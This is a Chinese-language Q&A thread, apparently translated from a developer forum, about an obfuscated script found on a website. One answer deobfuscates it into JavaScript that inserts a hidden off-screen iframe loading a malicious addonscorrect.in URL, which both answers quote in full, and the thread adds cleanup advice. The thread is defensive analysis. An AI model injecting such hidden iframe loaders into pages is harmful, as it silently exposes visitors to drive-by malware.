Question

在一个特定的网站（不是我的网站），我被警告它想要使用Java，我看到在印度引用了一个域名。由于这对我来说看起来不正常，我会查看页面源代码。在DOCTYPE之前有一个大的脚本块。我只在IE10（不是FF等）和多台机器上看到这一点。我不够聪明，不知道究竟发生了什么，因为它看起来很模糊。在我向网站所有者报告情况之前（以及我自己的好奇心），我想知道这是否是黑客行为的绝对证据。当我从下面用Google搜索短语“asd = function”时，我看到其他一些代码非常相似的网站，所以这可能是一个常见的问题。（或者它可能是IE10合法的东西？）下面是添加了额外换行符的代码。

<script>
ps="split";
asd=function(){d.body++};

如果这真的是恶意的，是否有可以/应该发布的法医网站？

Answer 1

以下是上述代码的“翻译”：

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("");
}
function iframer(){
    var f = document.createElement('iframe');
    f.setAttribute('src','http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/');
    f.style.left='-10000px';
    f.style.top='0';
    f.style.position='absolute';
    f.style.top='0';
    f.setAttribute('width','100');
    f.setAttribute('height','100');
    document.getElementsByTagName('body')[0].appendChild(f);
}

它不仅编码很差（有人显然从未听说过document.body属性......），这显然是一个黑客攻击。

如果我不包含IE10用户代理字符串，请求资源返回402 Payment Required标头 - 这是一个暗示它旨在利用该特定浏览器的提示。欺骗一个有效的UA字符串给了我一个页面，其中包含一堆过于复杂的JavaScript，我无法解密，但这看起来并不友好。

Answer 2

删除它，它正在尝试加载一个很可能会在您的计算机上安装间谍软件的URL。

该网站如下：

http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/

该网站已停用，所以是的..您的网站已被黑了。

更改您的FTP / SSH密码，清除所有有权访问主机帐户的计算机。

这个网站被黑了吗？
